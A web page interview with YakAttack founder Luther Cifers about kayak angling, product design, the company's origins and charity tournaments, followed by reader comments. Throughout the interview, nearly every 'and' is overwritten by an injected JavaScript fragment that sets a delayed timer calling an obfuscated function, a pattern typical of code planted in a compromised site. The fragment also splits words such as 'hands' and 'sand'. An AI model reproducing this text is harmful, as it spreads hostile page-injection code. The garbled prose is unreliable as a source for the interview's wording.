Luther Cifers

As the founder of YakAttack, Virginia resident Luther Cifers has provided the kayak angling world with numerous innovative andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and highly sought-after products, all while steering his company along a path of integrity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and character.  Cifers is also a name synomymous with giving within the sport, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has sponsored many a tournament, including those benefiting Heroes on the Water (HOW).  When not on the water or contemplating the next must-have kayak angling item, this father of three can be found heading up Cifers Solutions, his freelance design company, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spending time with his family.

What first drew you to this style of angling?  When was that?

I used to do a fishing trip to Hatteras, in the Outer Banks of North Carolina, each fall with a bunch of buddies. We did mostly pier andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surf fishing back then. In 2006, one of my friends bought a sit on top kayak to carry out shark baits from the surf. I spent a little time on that kayak, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it was cool, but I didn’t really fish from it on that trip. About a year later that same friend hooked up with some other local kayak anglers, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and started doing some kayak fishing. It took a while, but he convinced me to buy a kayak.  I bought a 2007 Hobie Outback. My first kayak fishing trip was in the York River in VA. I caught my first fish, pulled out my phone, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and called my wife. I told her when I got home I was getting a kayak for my son, a promise I kept. I’ve loved it ever since.

I’m also a bowhunter, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I think the same things that drew me to bowhunting drew me to kayak fishing. You can reach out a lot farther with a rifle, just as you can with a power boat. But the bow andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the kayak both have an added level of challenge. They are more intimate with the environment andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nature. I like that.

I also like the freedom associated with kayak fishing. I’m a very independent person, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I like the concept of each angler navigating his own vessel. It allows the angler to try the structure or the depth or the drifting or trolling technique that he thinks will work, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his success or failure will determine his approach next time. You don’t get that when you stuff three or four people onto a powered boat. How many times have you been on a boat with someone else, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thought there might be a better spot to fish, or that the boat is never turned quite right to drop the lure where you’d like to?  That’s kind of stifling. Kayak fishing is a liberating experience, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I believe it develops better anglers.

Do you remember the first fish that you caught from a kayak?

Yes, it was a York River croaker. Around here, a lot of people consider croaker an irritating fish that you catch when trying to catch flounder, but they are a lot of fun to catch andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, pound for pound, are one of the best fighting fish out there. I still fish for them, though not as often as I used to.

You consistently design reliable andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and innovative products for the kayak angler.  Tell us about the creative processes involved in the development of these items.

Well, thanks for the compliment. We work really hard to build products that folks are glad they purchased – even years later. We don’t measure success in sales alone, but in customer satisfaction after the sale. If someone buys a product andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wishes they had not, or feels it wasn’t worth the price, we have failed.

As far as the creative process, there are a few channels of inspiration. Sometimes it’s customer feedback, sometimes it’s a conversation with one of my many friends in the sport, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sometimes it’s a need discovered while out on the water.

Once we know what problem we want to solve, we develop one or more concepts that address that problem while fitting the bigger picture of where we want our product line to go. We utilize state of the art design andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and analysis software to create a virtual 3D model of the product, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and from that, create photo realistic renderings to send to trusted resources for feedback. I have another business in which I do freelance design andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and engineering for other companies, so I have the “tools of the trade” to do professional product design. Because I’ve designed a lot of products andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and machines in many different industries, I have some experience in identifying what makes a robust design. That definitely helps where reliability is concerned.

With as many things as I’ve designed over the years, I seldom “get it right” the first time. We’re really good at rapid prototyping, so we are able to build prototypes to test or send to beta testers to use in the field. This helps us refine the design before settling on a production version. Even though we’re a small company, our design andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and engineering process is on par with companies 10 or 20 times our size, but we have the agility andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and creativity of a small enterprise. For example, when we first conceptualized the Mighty Mount, it went from a rough sketch to an actual part within 3 or 4 hours. By late that same night, I had rapid prototyped 4 versions, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and had something very close to what we went to market with. A dozen or more prototypes were in the field a week later.

What also helps is that we have a master plan of where we want our product line to go. Our new rigging products are all about modularity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and configurability. That puts a lot of the actual innovation into the handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of the customer. There is a DIY component to this sport, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and though it’s our biggest competitor as far as lights are concerned, we actively embrace it. Every situation is a little different, so we want our rigging system to be configurable rather than something with rigid, specific uses. We probably have the most innovative customer base of any industry I’ve had experience with. We want to empower them to do what they excel at.

What food andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/or music fuels your drive to the put-in?

Fast food andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and country music. I don’t even eat fast food that much, but it seems like I end up eating it every time I go fishing. When I was younger I hated country music, but the older I get the more I can relate to it. I spend a lot of time with the radio off, too. My drives to the water are often 2+ hours, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that’s good thinking time. I’ve put the final details on more than one design in that time.

Who, specifically, is shaping the future of kayak angling?

I’m not sure there is a specific person or entity, but there is definitely a specific group. It’s the kayak angler. As the sport grows, there are lots of personalities, retailers, manufacturers, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and media outlets that are popping up to support the growth. But I think the growth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and direction of the sport are attributed primarily to the folks who slip the kayak into the water at the boat ramp or sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and launch. Success andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and failure of the rest depends on how well they resonate with the kayak angler. It’s why I think choices are so great for the sport. It gives the angler more influence over where the sport is headed.

With that in mind, I feel we’re really blessed to be doing what we’re doing. From the start of YakAttack, we’ve tried to do things the way we think they should be done rather than use some of the conventional tactics that a lot of companies use to squeeze every last drop of opportunity out of a market. It was something of an experiment in the beginning. We decided it would work or it would fail, but we were not going to compromise our core values to succeed. That may sound cliche, but it’s real. Having that mentality will cause you to do some things an MBA might tell you is foolish or naive. Once you draw that line in the sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, success or failure is out of your handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands to a large degree. You do the best you can with product design andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pricing, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then put it in the handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of God andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of your customers. I feel we’ve been blessed by both, which has given us the opportunity to give some different options to consumers so they can decide where this sport is going andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and where we fit in. So far, so good!

With regard to kayak angling, what issues are important to you? What, if anything, can be done about them?

Like I said earlier, I’m a bit on the independent side. Some people might disagree with me here but that’s OK.

Probably the most important issue to me is that as the sport grows it doesn’t get sterilized by regulations designed to protect us from ourselves. The kayak fishing community does an amazing job of self regulation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and self education, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I hope it doesn’t lose that. There are less andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and less things anyone can do these days without being subjected to some condition or requirement. Even kayak fishing already has some. But personally, I would rather have the liberty to put myself at risk than the protection that comes with containment.

We’ve had people suggest that YakAttack lobby government bodies to have more flag andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and light requirements since visibility products have, up to this point, been the foundation of our product line. Granted, I think people should think about visibility andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and do the best they can to be safe. But I don’t want to see our handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands get tied to the point that a barrage of one-size-fits-all requirements dictates what is best for what are truly dynamic, individual situations. I’d rather leave personal safety in the capable handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of the individual. As the sport becomes more andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more mainstream, I have concerns that the dangerous elements of the sport will invite some well meaning folks to want to hold our handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands. Living is full of risks. Without the risks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the liberty to take them, it goes from living to just kind of existing. For me, anyway.

As far as what can be done about it, I think if the kayak fishing community continues to be focused on being safe on the water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and actively helping educate newcomers to the sport about on the water safety, self regulation will negate the need for external influences.

Barring money or logistics, what is your dream kayak angling trip?

Man, that’s a tough one. Somewhere with clear, warm water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and big fish!  And definitely in the salt.

 

What’s in your milk crate?

Well, the tackle depends on what I’m fishing for, but I usually have some snacks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a couple of bottles of water. I keep a Fish Grip, knife, pliers – typical stuff. I prefer my tackle on the lighter side, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and usually carry 3 reels. If I’m in the salt I’ll have a fat tub of Gulp back there. 90% of the time I fly a VISICarbon Pro in my center rocket launcher.

Tell us about your best day on the water.

Another tough one. Some days on the water have been enjoyable because of the comraderie, some for the family aspect, some for the adventure, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and some because the fishing was great. One of my best fishing outings was a night this spring at the Hampton Roads Bridge Tunnel in Norfolk, VA. There had been a report of a lot of striped bass caught the night before, so power boats andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and kayaks were clustered around every bridge light. Turns out that night, on the outgoing tide anyway, was pretty much dead. I caught one fish over a period of about 4 hours andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and did not see another fish caught.

By the time the tide changed around 2AM, I was the only one left out there. I had the entire Norfolk bridge to myself. I started seeing some fish as soon as the tide changed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a couple of hours into it they were thick. I’ve seen a lot of fish out there many times, but this was a real spectacle. Hundreds of schoolie striper mixed with small blues were just blitzing. They had abandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andoned the “shoulder to shoulder” patrolling formation you normally see under the light line andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and were just swarming. At one point I drifted too far andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and went through the light line andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I could feel the striper hammering into my Mirage drive on my Outback. I caught a lot of fish that night. Ended up with a sore wrist andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a tattered thumb from lipping fat schoolies. That was a good time! There’s nothing like a good case of “striper thumb”!

What is the kayak fishing lifestyle?

That’s a great question! I think the answer varies a lot depending on the individual andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and geographical location, but when I think of “kayak fishing lifestyle,” I think of folks who drive to work with their kayak on the roof so they can go fishing on the way home. That’s something unique to kayak fishing. Hard to do that with the jon boat or Carolina skiff. I think of keeping up with the rest of the “family” on the kayak fishing forums, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pecking away at the keyboard to share a fishing report or new rigging idea, or to help a newcomer to the sport make sure he’s covering all aspects of safety andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and knows where to launch andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what they are biting. I think of tinkering in the garage or at the kitchen table on a new DIY contraption. I think of road trips to a kayak fishing tournament, not for the prizes as much as for the comraderie andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the cause.

Another interesting thing is that it’s a close knit group that, even now, has a pretty flat heirarchy. There are some “celebrities” in the sport who have accomplished great things, but they are also the folks we fish with. That’s pretty cool.

Though the dynamics are changing as the sport becomes more mainstream, I think a lot of today’s kayak anglers are still people who like blazing new trails, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and who find the unconventional element of the sport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the “You fish out of a what?!” comments appealing. It makes it an awesome thing to be a part of.

Tell us a story, any story.

How about how YakAttack got started? I have a friend, Bob Fulghum – he’s the guy who introduced me to the sport – andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we were both getting more involved with rigging our kayaks. Bob made a light for night fishing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tied a couple of flags to it. I made one too but it was not as cool as his! Anyway, when we went out fishing a lot of people asked about it andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and some asked if they could buy one. I suggested: why not make a commercial version andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and see where it went? Bob andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I worked together for years in manufacturing, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and both have design backgrounds, so we put our heads together andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and came up with the original VISIPole. We had no brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, no money, no investors, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and no idea what we were doing on the business side, but we gave it a try.

We needed a name, so Bob suggested we use my screen name at Fishyaker.com, which was YakAttack. It had a cool ring to it, so in January 2009 YakAttack LLC was born.

The VISIPole did really well. I called every kayak fishing shop I could find andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and asked them to carry the VISIPole. Out of 50 or 75 cold calls I would get one or two that were willing to try it. I had many shops tell me that they weren’t interested because they just didn’t sell many lights. I remember one shop telling me that they would try it but to keep our expectations realistic because they only sold about 10 stern lights each year. They sold about 80 VISIPoles in 2009.

Although the VISIPole did well, our customers helped us identify where we could improve. We used that input to design the VISICarbon Pro. Sales from the VISIPole enabled us to set up the manufacturing, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we launched it in late May 2010 at our annual kayak fishing tournament. The VISICarbon Pro really took off, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pretty soon we were selling them all over the world. Bob got really busy with his other job, so in late 2010 we came up with an agreement for me to assume 100% ownership of YakAttack.

Once again, sales of one product enabled us to tool up others. Chad Hoover andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I collaborated on the design of the ParkNPole, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I developed the Mighty Mount andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and PanFish monopods. Soon after, we developed the GearTrac andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dog Bone, which we are in the process of launching now. We have a lot more coming andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will continue to roll out products between now andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Spring 2012. We recently moved to Farmville, VA into a much larger building, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the future is bright!

Your business is known for sponsoring a myriad of tournaments andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and charity events, including those associated with Heroes on the Water.   Why do you feel it is important to support these events?

From a “giving” aspect, I think most people try to find a way to give to others in some way or another. For us, charity tournaments are a natural avenue for that. From a business aspect, these tournaments are a great way to say thanks to our customers. We really enjoy participating in these events andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and appreciate the hard work of the tournament organizers. It’s a lot easier for us to box andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ship product than it is for these folks that spend countless hours organizing these events andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and making sure things run smoothly andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and everyone has a good time.

There is a special place in my heart for our veterans. I think most of us, at times, take for granted the amazing country we live in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the sacrifices that have been made for us to have the comfort andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and security that we enjoy. Our veterans andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their families have given so much. There is nothing we can do for them that holds a candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andle to what they have given for us, but we can show them that they are loved andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and appreciated. It’s not really even charity. They have served us, now it’s our turn to serve them. That’s why we are involved with Heroes on the Water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and similar outreaches.

Many of your products, like the VISIPole, have garnered a cult-like following.  What design are you most proud of?

Again, that’s quite a compliment. I hope our products live up to it! At this point in time, I’m probably most proud of the VISICarbon Pro. But the rigging system we’re working on will likely take that spot next year. The Mighty Mount andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and GearTrac are pieces of the puzzle, but as more pieces drop in place andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the picture becomes clearer, I think it will change the rigging game completely.

More than the products, what I’m really proud of is the relationships we have with our customers. I feel we have unparalleled customer service due to a “do the right thing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and let the chips fall where they may” mentality. That’s all real easy to say but there are times when doing the right thing costs money or extra time andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and effort. When you’re trying to run a business it’s easy to start making exceptions to your principles andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and before you know it, you’re the company you never wanted to be. I’m proud that we have stayed true to our values andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that it resonates so well with the kayak fishing community.

What does the future hold for you?

If I only knew! Seriously though, I can tell you what I hope it holds for my involvement in the sport of kayak fishing. I hope there continues to be a place for what we are doing at YakAttack andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that we are able to continue to develop our product line andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grow our little company. I’ve been in domestic manufacturing in some form or another for 18 years, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I’ve watched it get gutted as more andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more companies source products andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and labor overseas. I’m certainly not the guy to judge how things “should be,” but I can tell you that for us, keeping our components andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and labor domestic is not negotiable. It’s almost impossible to keep 100% of everything in a product domestic these days, but we really do try, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we do a good job of keeping the vast majority domestic, even when we can find imported substitutes for a fraction of the cost. I hope to grow this thing into something that creates jobs for as many Americans as possible, for both YakAttack andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and our suppliers.

2011 has been a year of sacrifice for my family andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and for my fishing. We’ve spent a lot of time at the drawing board andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and workbenches, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I hope in the coming years I am able to spend more time on the water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and attend more charity tournaments andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shows andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and things like that. With the opportunities that the business andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that social media provide, I have become friends with a lot of really great people in the sport that I’ve never actually met in person. It’s time to shake some handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and go fishing.

I’m definitely not complaining, though. I have thoroughly enjoyed this ride. I get a great deal of enjoyment out of designing new products andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even out of the long, hard days we’ve spent building this little company from scratch. The feedback from customers, the constant stream of pictures andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and comments from our customers, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the acceptance the sport has had for YakAttack has been amazing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and makes it all worthwhile.

8 Responses to “Luther Cifers”

  1. Great interview. Luther is one of the few that is definitely shaping the sport of kayak fishing in the world. Keep an eye on him!

  2. Angie Major says:

    I am so proud of your success thus far and wish you a lifetime of continued success!

  3. Chad Hoover says:

    Great interview. You really nailed the man behind YakAttack. I consider myself fortunate to have Luther as a friend. If anyone deserves success, he definitely does. I recently became a business owner as well and I can honestly say that Luther sets the standard that I strive to achieve.

  4. Rob Appleby says:

    That was an enjoyable read and an interesting insight into a very innovative chap.

    Keep up the good work Luther.

  5. Cory Routh says:

    Luther has made it possible to convert every kayak a fishing kayak! Great products from a great guy! WTG Luther!

  6. Adam Harbuck says:

    Great look at the man (and story) behind YakAttack, and an inspiration to all of us reminding us what is possible with a dream, a plan, and a passion.

  7. Rich Brady says:

    Never met Luther but have dealt with him as a supplier. Very good story as is the individual. Honest hard worker?
    Wish you the best Luther.

    • bob fehlhaber says:

      luther is awesome.ive dealt with yakattack alot..i need some stickers to put on our kayak & he immediately sent me a stack

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